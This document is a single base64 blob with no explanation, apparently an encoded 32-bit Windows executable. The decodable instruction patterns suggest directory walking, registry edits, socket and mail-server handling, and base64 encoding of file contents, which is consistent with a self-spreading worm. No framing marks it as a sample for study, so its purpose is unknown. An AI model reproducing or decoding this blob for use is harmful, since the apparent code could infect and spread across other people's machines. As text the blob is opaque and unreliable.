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 V/8V+IAXNlfoIM///1m/uKwXNlZX/xUkgRc2V+gMz///Wb+4tBc2V1b/FRSBFzZX6PjO//9Z/xUg gRc2UGi4zBc26GIqAABZv7jQFzZZV1b/FRyBFzZX6NHO//9ZjYUA/P//VlBqAP8VGIEXNo2FAPz/ /1BouMAXNugrKgAAjYUA/P//alxQ/xVAgRc2i/BGVmi4uBc26A4qAACAJgCNhQD8//++uLwXNlBW 6PkpAABW6HfO//+DxCToOgAAAGoBWF9eycNVi+yB7JQAAACNhWz////HhWz///+UAAAAUP8VVIAX NjPAg718////Ag+UwKOwrBc2ycNWV4s9WIAXNmgIoRc2/9eFwKOYrBc2D4TiAAAAizVQgBc2aPyg FzZQ/9Zo8KAXNqN8rBc2/zWYrBc2/9Zo5KAXNqN4rBc2/zWYrBc2/9Zo2KAXNqN0rBc2/zWYrBc2 /9ZozKAXNqNwrBc2/zWYrBc2/9aDPbCsFzYAo2ysFzZ0XGi4oBc2/zWYrBc2/9ZopKAXNqPg1Rc2 /zWYrBc2/9ZolKAXNqPQ1Rc2/zWYrBc2/9ZohKAXNqPc1Rc2/zWYrBc2/9ZodKAXNqPU1Rc2/zWY rBc2/9aj2NUXNusSaFygFzb/NZisFzb/1qPM1Rc2aFCgFzb/14XAo5ysFzZ1BzPA6YcCAABoQKAX NlD/1mg4oBc2o5SsFzb/14XAo6CsFzZ0VWgooBc2UP/WaBSgFzajkKwXNv81oKwXNv/WaASgFzaj jKwXNv81oKwXNv/WaOyfFzajiKwXNv81oKwXNv/WaNifFzajhKwXNv81oKwXNv/Wo4CsFzZozJ8X Nv/XhcCjpKwXNnR5aMCfFzZQ/9ZosJ8XNqP81hc2/zWkrBc2/9ZooJ8XNqP41hc2/zWkrBc2/9Zo kJ8XNqP01hc2/zWkrBc2/9ZogJ8XNqPw1hc2/zWkrBc2/9ZocJ8XNqPs1hc2/zWkrBc2/9ZoZJ8X NqPo1hc2/zWkrBc2/9aj5NYXNmhYnxc2/9eFwKOorBc2D4R1AQAAaEyfFzZQ/9ZoQJ8XNqNorBc2 /zWorBc2/9ZoMJ8XNqNkrBc2/zWorBc2/9ZoKJ8XNqNgrBc2/zWorBc2/9ZoIJ8XNqNcrBc2/zWo rBc2/9ZoGJ8XNqNYrBc2/zWorBc2/9ZoEJ8XNqNUrBc2/zWorBc2/9ZoBJ8XNqNQrBc2/zWorBc2 /9Zo/J4XNqNMrBc2/zWorBc2/9Zo9J4XNqNIrBc2/zWorBc2/9Zo7J4XNqNErBc2/zWorBc2/9Zo 4J4XNqNArBc2/zWorBc2/9Zo2J4XNqM8rBc2/zWorBc2/9Zo0J4XNqM4rBc2/zWorBc2/9ZoyJ4X NqM0rBc2/zWorBc2/9ZowJ4XNqMsrBc2/zWorBc2/9ZotJ4XNqMwrBc2/zWorBc2/9ZoqJ4XNqMo rBc2/zWorBc2/9ZonJ4XNqMkrBc2/zWorBc2/9ZojJ4XNqMcrBc2/zWorBc2/9ajIKwXNmiAnhc2 /zWorBc2/9ajGKwXNmoBWF9ew6GYrBc2Vos12IAXNoXAdANQ/9ahnKwXNoXAdANQ/9ahoKwXNoXA dANQ/9ahpKwXNoXAdANQ/9ahqKwXNoXAdANQ/9ZqAVhew1WL7IHsFAYAAFOLHRyAFzaNRfRWUDP2 aD8ADwBWaFChFzZoAgAAgP/ThcAPhdkAAABXVlZWjUX4iz0YgBc2VlCNhez9///HRfj/AAAAUFb/ dfSJdfz/14XAD4WhAAAAjYXs/v//aBihFzZQ6GolAACNhez9//9QjYXs/v//UOhpJQAAg8QQjUXw UGg/AA8AjYXs/v//VlBoAgAAgP/ThcB1Oo1F7MdF7AAEAABQjYXs+f//UFb/dfD/FQSAFzY5NbCs FzZ0DY2F7Pn//1Dolun//1n/dfD/FRCAFzb/RfxWVlaNRfhWUI2F7P3//1DHRfj/AAAA/3X8/3X0 6VX/////dfT/FRCAFzZfXlvJw1WL7IHsXAcAAFNWM/ZXOTWwrBc2D4TtAAAAjUXwx0X0/wAAAFBo PwAPAFZodKIXNmgCAACAx0X8/gEAAP8VHIAXNoXAD4XpAgAAjUX8iz0MgBc2UI2FpPz//1BWjUX0 VlCNhaT+//9QVv918Il1+P/XhcAPhYYAAACAvaX+//8kdEmLRfwz2zPSjUj8O852O4C8FaT8//9Q jYQVpfz//3UagDhhdRWAeAF0dQ+AeAJodQmAeAM9dQONWARCO9Fy0DvedAdT6Oft//9ZjUX8/0X4 UI2FpPz//1BWjUX0VlCNhaT+//9Qx0X0/wAAAP91+MdF/P4BAAD/dfDpcP////918OkmAgAAjUXg iXXgUI1F5FBWaD8ADwBWVlZoOKIXNmgCAACA/xUUgBc2hcAPhQACAABWVlaNRfBWiz0YgBc2UI2F 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 